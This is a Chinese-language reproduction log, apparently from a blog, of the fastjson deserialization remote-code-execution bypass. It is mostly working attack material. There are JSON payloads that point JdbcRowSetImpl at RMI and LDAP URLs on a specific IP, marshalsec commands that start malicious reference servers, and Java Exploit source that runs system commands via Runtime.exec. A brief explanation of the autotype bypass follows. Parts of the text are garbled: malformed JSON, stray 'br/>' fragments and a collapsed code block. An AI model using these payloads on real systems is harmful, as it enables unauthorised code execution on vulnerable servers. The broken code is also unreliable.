fastjson的RCE漏洞复现记录

参考链接:

https://paper.seebug.org/994/
https://www.cnblogs.com/jinqi520/p/11097779.html
https://xz.aliyun.com/t/5680

0x01 漏洞复现 RMi

fastjson的RCE漏洞复现记录

1. payload:

{"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://106.12.201.224:1099/Exploit",
"autoCommit":true
}
}

fastjson的RCE漏洞复现记录

2. 在×××上执行,启动一个rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://106.12.201.224/#Exploit"

  1. 生成编译***脚本

将下面代码保存为:Exploit.java
然后执行:javac Exploit.java,生成class文件

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch","/tmp/success"};
            Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

0x02 漏洞复现 LDAP

1. payload:

{"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://106.12.201.224:1389/Exploit",
"autoCommit":true
}
}

fastjson的RCE漏洞复现记录

2. 在×××上执行,启动一个rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://106.12.201.224/#Exploit"

  1. 生成编译***脚本
    Exploit.java 中不要导入包

将下面代码保存为:Exploit.java
然后执行:javac Exploit.java,"/tmp/success"}; Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org"); pc.waitFor(); } catch (Exception e) { // do nothing } } }

0x03 漏洞原理

这次绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到map缓存,从而绕过autotype的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。

当发送第一次请求时,Class是通过deserializers.findClass加载的,然后Class将JdbcRowSetImpl类加载进map中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。

相关文章

文章浏览阅读2.4k次。最近要优化cesium里的热力图效果,浏览...
文章浏览阅读1.2w次,点赞3次,收藏19次。在 Python中读取 j...
文章浏览阅读1.4k次。首字母缩略词 API 代表应用程序编程接口...
文章浏览阅读802次,点赞10次,收藏10次。解决一个JSON反序列...
文章浏览阅读882次。Unity Json和Xml的序列化和反序列化_uni...